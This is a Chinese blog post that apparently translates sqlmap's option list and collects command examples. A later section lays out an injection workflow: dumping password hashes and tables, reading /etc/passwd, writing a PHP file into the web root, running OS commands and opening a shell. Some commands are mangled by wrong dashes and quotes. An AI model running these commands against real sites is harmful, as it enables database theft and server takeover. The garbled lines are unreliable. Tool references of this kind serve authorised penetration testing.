sqlmap选项卡介绍及常用语句

sqlmap的使用方式:python sqlmap.py [options];

sqlmap中一共有以下十六个选项卡:

1.帮助选项卡;

2.Target(目标选项卡);

3.Request(请求选项卡);

4.Optimization(优化选项卡);

5.Injection(注射选项卡);

6.Detection(探测选项卡);

7.Techniques(注入技术选项卡);

8.Fingerprint(指纹选项卡);

9.Enumeration(列数据选项卡);

10. Brute force(爆破选项卡);

11. User-defined function injection(用户自定义函数注入选项卡);

12. File system access(系统文件操作选项卡);

13. Operation system access(操作系统访问选项卡);

14. Windows registry access(Windows注册表选项卡);

15. General(一般选项卡);

16. Miscellaneous(杂项);

1、帮助选项卡

  • -h,    –help                               显示基础的帮助信息并退出;
  • -hh                                           显示进一步的帮助信息并退出;
  • –version                                  显示程序的版本并退出;
  • -v  VERBOSE                         详细级别:0-6(默认为1);

2、Target(目标选项卡):在这些选项卡中至少有一个要设置目标

  • -d  DIRECT                             直接连接到数据库;
  • -u  URL, –url=URL                  目标URL;
  • -l    LOGFILE                          从Burp或者WebScarab代理中解析目标;
  • -m  BULKFILE                        在一个给定的文本文件中扫描目标;
  • -r   REQUESTFILE                 从文件中加载HTTP 请求 ;
  • -g   GOOGLEDORK               利用GOOGLEDORK获取目标URL;
  • -c   CONFIGFILE                    从配置INI文件中加载选项;

3、Request(请求选项卡):这些选项可以用来指定如何连接到目标URL。

  •  –data=DATA                          通过POST发送数据串;
  • –param-del=PDEL                 字符用于分割的参数值(当GET或POST的数据需要用其他字符分割测试参数的时候需要用到此参数。);
  • –cookie=COOKIE                  HTTP Cookie 头;
  • –cookie-del=CDEL                字符用于分裂的cookie值;
  • –load-cookies=L..                  在Netscape/ wget格式的文件中包含cookie;
  • –drop-set-cookie                   忽略Set-Cookie头响应;
  • –user-agent=AGENT             HTTP User-Agent 头;
  • –random-agent                      使用随机选择HTTP User-Agent头;
  • –host=HOST                          HTTP Host 头;
  • –referer=REFERER               HTTP Referer 头;
  • –headers=HEADERS            额外的头文件(如: ”Accept-Language: fr\nETag: 123″);
  • –auth-type=AUTH..                HTTP身份验证类型 (Basic, Digest, NTLM 或者 PKI);
  • –auth-cred=AUTH..                HTTP身份验证凭据 (name:password);
  • –auth-private=A..                   HTTP认证PEM私钥文件;
  • –proxy=PROXY                     使用代理服务器连接到目标URL;
  • –proxy-cred=PRO..                代理身份验证凭据 (name:password);
  • –proxy-file=PRO..                  从文件加载代理列表;
  • –ignore-proxy                        忽略系统默认的代理设置;
  • –tor                                        使用Tor的匿名网络;
  • –tor-port=TORPORT             设置默认以外的Tor代理端口;
  • –tor-type=TORTYPE             设置Tor代理类型 (HTTP (默认), SOCKS4 或者 SOCKS5);
  • –check-tor                              检查Tor是否正确使用;
  • –delay=DELAY                      每个HTTP请求之间的延迟秒;
  • –timeout=TIMEOUT              等待超时连接(默认为30秒);
  • –retries=RETRIES                尝试连接超时(默认为3);
  • –randomize=RPARAM          随意改变给定的参数值;
  • –safe-url=SAFURL                在测试过程中经常访问的URL地址;
  • –safe-freq=SAFREQ             在两次访问之间提供安全URL的请求;
  • –skip-urlencode                    跳过URL编码的有效载荷数据;
  • –force-ssl                              强制使用SSL/ HTTPS;
  • –hpp                                     使用HTTP参数污染;
  •  –eval=EVALCODE              在每次请求时根据所写python代码做完修改后请求。

4、Optimization(优化选项卡): 这些选项可以用来优化SqlMap的性能

  • -o                                          打开所有优化开关;
  • –predict-output                     常见的查询输出预测;
  • –keep-alive                           使用持久HTTP(S)连接;
  • –null-connection                   没有实际的HTTP响应的检索页面长度;
  • –threads=THREADS            并发的HTTP(S)请求的最大数量(默认为1)。

5、Injection(注射选项卡):这些选项可以用来指定对哪些参数测试,提供一般的注入方式和可选可修改的脚本注入

  • -p  TESTPARAMETER         可测试的参数;
  • –skip=SKIP                           跳过给定的参数;
  • –dbms=DBMS                      指定数据库类型;
  • –dbms-cred=DBMS..            数据库身份验证凭据(user:password);
  • –os=OS                                指定数据库的操作系统;
  • –invalid-bignum                    指定无效的大数字;
  • –invalid-logical                      指定无效的逻辑运算;
  • –no-cast                                关闭payload构造机制;
  • –no-escape                           关闭字符逃避机制;
  • –prefix=PREFIX                    注射前缀字符串payload;
  • –suffix=SUFFIX                     注射后缀字符串payload;
  • –tamper=TAMPER                使用给定的脚本修改注入的数据。

6、Detection(探测选项卡):这些选项可以用来定制检测阶段

  • –level=LEVEL                        测试的等级(1-5,默认为1);
  • –risk=RISK                            测试的风险等级(0-3,默认为1);
  • –string=STRING                    字符串匹配查询时被评估为True;
  • –not-string=NOT..                  字符串匹配查询时被评估为False;
  • –regexp=REGEXP                正则表达式匹配查询时被评估为True;
  • –code=CODE                        HTTP代码以匹配查询时被评估为True;
  • –text-only                               只基于文本的内容的页面的对比;
  • –titles                                     只基于Title的内容的对比。

7、Techniques(注入技术选项卡):这些选项可以用来调整特定的SQL注入测试

  • –technique=TECH                  使用SQL注入技术 (默认是”BEUSTQ”);
  • –time-sec=TIMESEC              DBMS响应延迟(默认为5秒);
  • –union-cols=UCOLS               SQL注入UNION查询测试的列的范围;
  • –union-char=UCHAR              设定UNION查询使用的字符;
  • –union-from=UFROM             (需要更新);
  • –dns-domain=DNS..               用于域名DNS溢出攻击;
  • –second-order=S..                  有些时候注入点输入的数据看返回结果的时候并不是当前的页面,而是另外的一个页面,这时候就需要指定到哪个页面获取响应判断真假。

8、Fingerprint(指纹选项卡)

  • -f,  –fingerprint                         演示广泛的DBMS版本指纹。

9、Enumeration(列数据选项卡):这些选项可以用来枚举数据库管理系统的信息、结构和数据表,还可以运行自己的SQL语句

  • -a, –all                                      枚举所有;
  • -b, –banner                               检索DBMS 的banner信息;
  • –current-user                            检索DBMS 的当前用户;
  • –current-db                               检索DBMS 的当前数据库;
  • –hostname                                检索DBMS 的服务器的主机名;
  • –is-dba                                      检测当前用户是否是DBA;
  • –users                                       枚举DBMS用户;
  • –passwords                               枚举DBMS用户密码哈希;
  • –privileges                                 枚举DBMS用户权限;
  • –roles                                         枚举DBMS用户角色;
  • –dbs                                           枚举DBMS数据库;
  • –tables                                       枚举DBMS数据库表;
  • –columns                                   枚举的DBMS数据库表和列
  • –schema                                    枚举DBMS模式;
  • –count                                        检索表的数目;
  • –dump                                        转储DBMS数据库表项;
  • –dump-all                                   转储所有的DBMS数据库表条目;
  • –search                                      搜索列,表和\或数据库名称;
  • –comments                                检索DBMS意见;
  • -D DB                                         指定DBMS数据库枚举;
  • -T TBL                                        指定DBMS数据库的表枚举;
  • -C COL                                       指定DBMS数据库的列枚举;
  • -U USER                                     指定DBMS用户枚举;
  • –exclude-sysdbs                        在枚举表时排除DBMS系统数据库;
  • –start=LIMITSTART                   指定输出的开始;
  • –stop=LIMITSTOP                     指定输出的结束;
  • –first=FIRSTCHAR                    指定输出的开始的字符;
  • –last=LASTCHAR                      指定输出的开始的结束;
  • –sql-query=QUERY                   要执行的SQL语句;
  • –sql-shell                                   提示一个交互式SQL shell;
  • –sql-file=SQLFILE                     从给定的文件中执行SQL语句。

10、Brute force(爆破选项卡):这些选项可以用来运行暴力检查

  • –common-tables                        检查存在的通用表;
  • –common-columns                    检查存在的通用列。

11、User-defined function injection(用户自定义函数注入选项卡):这些选项可以用来创建用户自定义功能

  • –udf-inject                                   注入用户自定义功能;
  •  –shared-lib=SHLIB                    本地的共享库的路径。

12、File system access(系统文件操作选项卡):这些选项可以被用于访问后端数据库管理系统相关的文件系统

  • –file-read=RFILE                        从后端的DBMS文件系统中读取文件;
  • –file-write=WFILE                       在后端的DBMS文件系统中写一个本地文件;
  • –file-dest=DFILE                        后端DBMS绝对文件路径写入。

13、Operation system access(操作系统访问选项卡):这些选项可以被用于访问后端数据库管理系统相关的操作系统

  • –os-cmd=OSCMD                      执行操作系统命令;
  • –os-shell                                     提示交互式操作系统shell;
  • –os-pwn                                      为OOB shell, meterpreter 或 VNC提示输入;
  • –os-smbrelay                              单击为OOB shell, meterpreter 或 VNC提示输入;
  • –os-bof                                        存储过程缓冲区溢出;
  • –priv-esc                                      数据库进程的用户特权升级;
  • –msf-path=MSFPATH                 本地安装Metasploit的框架路径;
  • –tmp-path=TMPPATH                 远程临时文件目录的绝对路径。

14、Windows registry access(Windows注册表选项卡):这些选项可以用来访问后端数据库管理系统Windows注册表

  • –reg-read                                     读取一个Windows注册表项值;
  • –reg-add                                      编写一个Windows注册表项值数据;
  • –reg-del                                        删除Windows注册表键值;
  • –reg-key=REGKEY                      Windows注册表键;
  • –reg-value=REGVAL                    Windows注册表键值;
  • –reg-data=REGDATA                   Windows注册表的键值项数据;
  • –reg-type=REGTYPE                   Windows注册表键的值类型。

15、General(一般选项卡):这些选项可以用来设置一些一般性的工作参数

  • -s SESSIONFILE                           从一个存储文件中加载会话;
  • -t TRAFFICFILE                            记录所有HTTP流量到一个文本文件中;
  • –batch                                           不要求用户输入,使用默认的行为
  • –charset=CHARSET                     使用字符编码数据检索
  • –crawl=CRAWLDEPTH                从目标网站抓取URL;
  • –csv-del=CSVDEL                        使用字符分隔对CSV输出(默认为“,”);
  • –dump-format=DU..                      dump的数据格式(CSV(默认),HTML或SQLite);
  • –eta                                               每个输出显示的预计抵达时间;
  • –flush-session                               清除当前目标的会话文件;
  • –forms                                           目标URL解析和测试形式;
  • –fresh-queries                               将忽略的查询结果存储在会话文件;
  • –hex                                              使用DBMS十六进制数据检索功能;
  • –output-dir=ODIR                          自定义输出的目录路径;
  • –parse-errors                                 将响应DBMS错误消息解析并显示;
  • –pivot-column=P..                          关键列名;
  • –save                                             配置INI文件保存选项;
  • –scope=SCOPE                             正则表达式来过滤目标提供的代理日志;
  • –test-filter=TE..                               选择测试的有效的payload;
  • –update                                          更新SQLMAP。

16、Miscellaneous(杂项)

  •  -z MNEMONICS                            使用短助记符;
  • –alert=ALERT                                 当发现SQL注入时运行主机操作系统命令;
  • –answers=ANSWERS                    设置问题答案;
  • –beep                                              发现SQL注入时做一个蜂鸣声;
  • –check-waf                                      启发式检查WAF/ IPS / IDS保护;
  • –cleanup                                         清理SqlMap中DBMS的特定UDF和表;
  • –dependencies                                检查缺失的SqlMap依赖;
  • –disable-coloring                             禁用控制台输出着色;
  • –gpage=GOOGLEPAGE                 使用Google搜索结果的指定页码;
  • –identify-waf                                    为WAF/ IPS / IDS保护做一个通过测试;
  • –mobile                                            模仿智能手机通过HTTP User-Agent头;
  • –page-rank                                       对google搜索的结果显示网页的PR值;
  • –purge-output                                  安全删除所有内容的输出目录;
  • –smart                                             只对知道的启发式进行测试;
  • –wizard                                            初级用户的简单的向导界面。

常用语句:

1、使用POST方法提交

sqlmap.py -u "http://192.168.1.1/sqlmap/oracle/post_int.php" --method POST --data "id=1"

2、使用COOKIES方式提交,cookie的值用;分割,可以使用TamperData来抓cookies

python sqlmap.py -u "http://192.168.1.1/sqlmap/mssql/cookie_int.php" --cookie "id=1" -v 1

3、使用referer欺骗

python sqlmap.py -u "http://192.168.1.1/sqlmap/pgsql/get_int.php?id=1" --referer "http://www.google.com" -v 3

4、使用自定义user-agent,或者使用随机使用自带的user-agents.txt

python sqlmap.py -u "http://192.168.1.1/sqlmap/oracle/get_int.php?id=1" --user-agent "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)" -v 3

python sqlmap.py -u "URL" -v 1 -a "./txt/user-agents.txt"

5、使用基本认证

python sqlmap.py -u "http://192.168.1.1/sqlmap/mysql/basic/get_int.php?id=1" --auth-type Basic --auth-cred "testuser:testpass" -v 3

6、使用Digest认证

python sqlmap.py -u "http://192.168.1.1/sqlmap/mysql/digest/get_int.php?id=1" --auth-type Digest --auth-cred "testuser:testpass" -v 3

7、使用代理,配合TOR

python sqlmap.py -u "http://192.168.1.1/sqlmap/pgsql/get_int.php?id=1" --proxy "http://192.168.1.47:3128"

python sqlmap.py -u "http://192.168.1.1/sqlmap/pgsql/get_int.php?id=1" --proxy "http://192.168.1.47:8118"

8、使用多线程猜解

python sqlmap.py -u "http://192.168.1.1/sqlmap/mysql/get_int.php?id=1" -v 1 --current-user --threads 3

9、绕过动态检测,直接指定有注入点的参数,可以使用,分割多个参数,指定user-agent注入

python sqlmap.py -u "http://192.168.1.1/sqlmap/pgsql/get_int.php?id=1" -v 1 -p "id

python sqlmap.py -u "http://192.168.1.1/sqlmap/pgsql/get_int.php?id=1&cat=2" -v 1 -p "cat,id"

python sqlmap.py -u "http://192.168.1.1/sqlmap/mysql/ua_str.php" -v 1 -p "user-agent" --user-agent "sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)"

10、指定数据库,绕过SQLMAP的自动检测

python sqlmap.py -u "http://192.168.1.1/sqlmap/pgsql/get_int.php?id=1" -v 2 --dbms "PostgreSQL"

* MySQL

* Oracle

* PostgreSQL

* Microsoft SQL Server

11、指定操作系统,绕过SQLMAP自动检测

python sqlmap.py -u "http://192.168.1.1/sqlmap/pgsql/get_int.php?id=1" -v 2 --os "Windows"

* Linux

* Windows

12、自定义payload

Options: --prefix and --postfix

13、页面比较

python sqlmap.py -u "http://192.168.1.1/sqlmap/mysql/get_int_refresh.php?id=1" --string "luther" -v 1

python sqlmap.py -u "http://192.168.1.1/sqlmap/mysql/get_int_refresh.php?id=1" --regexp "<td>lu[\w][\w]er" -v

14、排除网站的内容

python sqlmap.py -u "http://192.168.1.1/sqlmap/mysql/get_int_refresh.php?id=1" --excl-reg "Dynamic content: ([\d]+)"

15、多语句测试,php内嵌函数mysql_query(),不支持多语句

python sqlmap.py -u "http://192.168.1.1/sqlmap/mysql/get_int.php?id=1" --stacked-test -v 1

16、union注入测试

python sqlmap.py -u "http://192.168.1.1/sqlmap/oracle/get_int.php?id=1" --union-test -v 1

17、unionz注入配合orderby

python sqlmap.py -u "http://192.168.1.1/sqlmap/pgsql/get_str.php?id=1" --union-test --union-tech orderby -v 1

python sqlmap.py -u "http://192.168.1.1/sqlmap/mssql/get_int.php?id=1" -v 1 --union-use --banner

python sqlmap.py -u "http://192.168.1.1/sqlmap/mysql/get_int.php?id=1" -v 5 --union-use --current-user

python sqlmap.py -u "http://192.168.1.1/sqlmap/mysql/get_int_partialunion.php?id=1" -v 1 --union-use --dbs

fingerprint

python sqlmap.py -u "http://192.168.1.1/sqlmap/mssql/get_int.php?id=1" -v 1 -f

python sqlmap.py -u "http://192.168.123.36/sqlmap/get_str.asp?name=luther" -v 1 -f -b

简单的注入流程            #这部分来自: 网络安全攻防研究室(www.91ri.org)

1.读取数据库版本,当前用户,当前数据库

sqlmap -u http://www.91ri.org/ test.php?p=2 -f -b –current-user –current-db -v 1

2.判断当前数据库用户权限

sqlmap -u http://www.91ri.org/ test.php?p=2 –privileges -U 用户名 -v 1

sqlmap -u http://www.91ri.org/ test.php?p=2 –is-dba -U 用户名 -v 1

3.读取所有数据库用户或指定数据库用户的密码

sqlmap -u http://www.91ri.org/ test.php?p=2 –users –passwords -v 2

sqlmap -u http://www.91ri.org/ test.php?p=2 –passwords -U root -v 2

4.获取所有数据库

sqlmap -u http://www.91ri.org/ test.php?p=2 –dbs -v 2

5.获取指定数据库中的所有表

sqlmap -u http://www.91ri.org/ test.php?p=2 –tables -D mysql -v 2

6.获取指定数据库名中指定表的字段

sqlmap -u http://www.91ri.org/ test.php?p=2 –columns -D mysql -T users -v 2

7.获取指定数据库名中指定表中指定字段的数据

sqlmap -u http://www.91ri.org/ test.php?p=2 –dump -D mysql -T users -C “username,password” -s “sqlnmapdb.log” -v 2

8.file-read读取web文件

sqlmap -u http://www.91ri.org/ test.php?p=2 –file-read “/etc/passwd” -v 2

9.file-write写入文件到web

sqlmap -u http://www.91ri.org/ test.php?p=2 –file-write /localhost/mm.php –file-dest /var/www/html/xx.php -v 2

sqlmap -u “http://url/news?id=1″ --dbms “Mysql” –users # dbms 指定数据库类型

sqlmap -u “http://url/news?id=1″ --users #列数据库用户

sqlmap -u “http://url/news?id=1″ --dbs#列数据库

sqlmap -u “http://url/news?id=1″ --passwords #数据库用户密码

sqlmap -u “http://url/news?id=1″ --passwords-U root -v 0 #列出指定用户 数据库密码

sqlmap  -u  “http://url/news?id=1″   --dump  -C  “password,user,id”  -T “tablename”-D “db_name”

–start 1 –stop 20 #列出指定字段,列出20 条

sqlmap -u “http://url/news?id=1″ --dump-all -v 0 #列出所有数据库所有表

sqlmap -u “http://url/news?id=1″ --privileges #查看权限

sqlmap -u “http://url/news?id=1″ --privileges -U root #查看指定用户权限sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是数据库管理员sqlmap -u “http://url/news?id=1″ –roles #枚举数据库用户角色

sqlmap -u “http://url/news?id=1″ --udf-inject #导入用户自定义函数(获取 系统权限!)

sqlmap -u “http://url/news?id=1″ --dump-all –exclude-sysdbs -v 0 #列 出当前库所有表

sqlmap -u “http://url/news?id=1″ --union-cols #union 查询表记录

sqlmap -u “http://url/news?id=1″ --cookie “COOKIE_VALUE”#cookie注入

sqlmap -u “http://url/news?id=1″ -b #获取banner信息

sqlmap -u “http://url/news?id=1″ --data “id=3″#post注入

sqlmap -u “http://url/news?id=1″ -v 1 -f #指纹判别数据库类型

sqlmap -u “http://url/news?id=1″ --proxy“http://127.0.0.1:8118” #代理注 入

sqlmap -u “http://url/news?id=1″ --string”STRING_ON_TRUE_PAGE”# 指 定关键词

sqlmap -u “http://url/news?id=1″ --sql-shell #执行指定sql命令

sqlmap -u “http://url/news?id=1″ --file /etc/passwd

sqlmap -u “http://url/news?id=1″ --os-cmd=whoami #执行系统命令

sqlmap -u “http://url/news?id=1″ --os-shell #系统交互shell sqlmap -u “http://url/news?id=1″ –os-pwn #反弹shell

sqlmap -u “http://url/news?id=1″ --reg-read #读取win系统注册表

sqlmap -u “http://url/news?id=1″ --dbs-o “sqlmap.log”#保存进度

sqlmap -u “http://url/news?id=1″ --dbs -o “sqlmap.log” –resume #恢复 已保存进度

posted @ 2019-07-25 15:36  lzysxb  阅读(672)  评论(0编辑  收藏  举报